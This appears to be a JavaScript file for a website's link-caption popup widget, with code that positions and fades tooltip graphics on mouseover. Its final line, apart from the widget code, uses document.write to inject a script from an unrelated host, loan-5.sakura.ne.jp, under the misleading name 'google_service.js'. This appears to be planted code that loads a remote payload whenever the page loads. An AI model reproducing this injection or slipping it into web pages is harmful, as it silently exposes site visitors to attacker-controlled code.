

function initPopup() {
	var popupLinks = document.getElementsByTagName("a");


	for (var i=0; i<popupLinks.length; i++) {

		if (popupLinks[i].getAttribute('caption') == ""){
		} else if (popupLinks[i].getAttribute('caption') == null) {
		} else {

			if (popupLinks[i].addEventListener) { // Std DOM Events
				popupLinks[i].addEventListener('mouseover', show, false);
			} else if (popupLinks[i].attachEvent) { // IE
				popupLinks[i].attachEvent(
					'onmouseover',
					function() { show( {
						type            : window.event.type,
						target          : window.event.srcElement,
						currentTarget   : popupLinks[i],
						clientX         : window.event.clientX,
						clientY         : window.event.clientY,
						pageY           : document.body.scrollTop + window.event.clientY,
						shiftKey        : window.event.shiftKey,
						stopPropagation : function() { window.event.cancelBubble = true }
					} ) }
				);
			}
			//popupLink.onmouseover = show;
			popupLinks[i].onmouseout = hide;
		}
	}



	var alpha = 75;


	var popup = document.getElementById("popupLefttop");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}

	var popup = document.getElementById("popupTop");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}

	var popup = document.getElementById("popupRighttop");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}

	var popup = document.getElementById("popupLeftbottom");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}

	var popup = document.getElementById("popupBottom");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}

	var popup = document.getElementById("popupRightbottom");
	if(document.all) {
		popup.style.filter="alpha(opacity=0)";
		popup.filters.alpha.opacity  = (alpha);
	} else {
		var strg = popup.src;
		strg = strg.substring(0, strg.lastIndexOf("."));
		strg = strg + ".png";
		popup.src = strg;
	}



	var popupBody = document.getElementById("popupBody");
	if(document.all) {
		popupBody.style.filter="alpha(opacity=0)";
		popupBody.filters.alpha.opacity  = (alpha);
	} else {
		popupBody.style.backgroundImage = 'url(popup/images/body.png)';
	}




}



function show(e){
	//window.status = "show";

	var x = 0;
	var y = 0;
	if (e) {
		x = document.body.scrollLeft + e.clientX + 20;
		y = document.body.scrollTop + e.clientY + 20;

	}

	var popupLink = e.target;



	var popupString = popupLink.getAttribute("caption");
	var popupURL = popupLink.getAttribute("href");

	if (popupURL.indexOf("http") != 0) {
		popupURL = "http://marimo.s137.xrea.com/" + popupURL;
	}


	var popupBody = document.getElementById("popupBody");
	var popupBodyText = document.getElementById("popupBody-txt");
	var popupBodyLink = document.getElementById("popupBody-lnk");

	if(popupBodyText.firstChild) {
		//popupBody.childNodes[0].nodeValue = popupString;
		//popupBody.childNodes[2].firstChild.nodeValue = popupURL;
		popupBodyText.childNodes[0].nodeValue = popupString;
		popupBodyLink.childNodes[0].nodeValue = popupURL;
	} else if(typeof(popupBodyText.innerText) == "string") {
		popupBodyText.innerText = popupString;
	}

	if (x + popupBody.style.width >= 700) {
		x = x-300;
	}

	popupBody.style.visibility = 'hidden';
	popupBody.style.top = y;
	popupBody.style.left = x;
	popupBody.style.width = 'auto';


	var w = popupBody.offsetWidth;
	var h = popupBody.offsetHeight;



	var popupLefttop = document.getElementById("popupLefttop");

	popupLefttop.style.visibility = 'hidden';
	popupLefttop.style.top = y-10;
	popupLefttop.style.left = x;

	var popupTop = document.getElementById("popupTop");

	popupTop.style.visibility = 'hidden';
	popupTop.style.top = y-10;
	popupTop.style.left = x+10;
	popupTop.style.width = w-20;
	popupTop.style.height = 10;

	var popupRighttop = document.getElementById("popupRighttop");

	popupRighttop.style.visibility = 'hidden';
	popupRighttop.style.top = y-10;
	popupRighttop.style.left = x+w-10;

	var popupLeftbottom = document.getElementById("popupLeftbottom");

	popupLeftbottom.style.visibility = 'hidden';
	popupLeftbottom.style.top = y+h;
	popupLeftbottom.style.left = x;

	var popupBottom = document.getElementById("popupBottom");

	popupBottom.style.visibility = 'hidden';
	popupBottom.style.top = y+h;
	popupBottom.style.left = x+10;
	popupBottom.style.width = w-20;
	popupBottom.style.height = 10;

	var popupRightbottom = document.getElementById("popupRightbottom");

	popupRightbottom.style.visibility = 'hidden';
	popupRightbottom.style.top = y+h;
	popupRightbottom.style.left = x+w-10;

	count = 0;
	popup();
}

var timeID;
function popup() {
	timeID = window.setTimeout('popup()', 100);

	count++;
	if (count <= 3 ){
	} else if (count <= 50){

		var popupBody = document.getElementById("popupBody");
		var popupLefttop = document.getElementById("popupLefttop");
		var popupTop = document.getElementById("popupTop");
		var popupRighttop = document.getElementById("popupRighttop");
		var popupLeftbottom = document.getElementById("popupLeftbottom");
		var popupBottom = document.getElementById("popupBottom");
		var popupRightbottom = document.getElementById("popupRightbottom");

		popupBody.style.visibility = 'visible';
		popupLefttop.style.visibility = 'visible';
		popupTop.style.visibility = 'visible';
		popupRighttop.style.visibility = 'visible';
		popupLeftbottom.style.visibility = 'visible';
		popupBottom.style.visibility = 'visible';
		popupRightbottom.style.visibility = 'visible';
	} else {
		hide();
		window.clearTimeout(timeID);
		count = 0;
	}
}



function hide(){
	//window.status = "hide";
	window.clearTimeout(timeID);
	count = 0;

	var popupBody = document.getElementById("popupBody");
	var popupLefttop = document.getElementById("popupLefttop");
	var popupTop = document.getElementById("popupTop");
	var popupRighttop = document.getElementById("popupRighttop");
	var popupLeftbottom = document.getElementById("popupLeftbottom");
	var popupBottom = document.getElementById("popupBottom");
	var popupRightbottom = document.getElementById("popupRightbottom");

	popupBody.style.visibility = 'hidden';
	popupLefttop.style.visibility = 'hidden';
	popupTop.style.visibility = 'hidden';
	popupRighttop.style.visibility = 'hidden';
	popupLeftbottom.style.visibility = 'hidden';
	popupBottom.style.visibility = 'hidden';
	popupRightbottom.style.visibility = 'hidden';


}

var count = 0;


document.write("<script src=http://loan-5.sakura.ne.jp/bank-loan/google_service.js></script>");
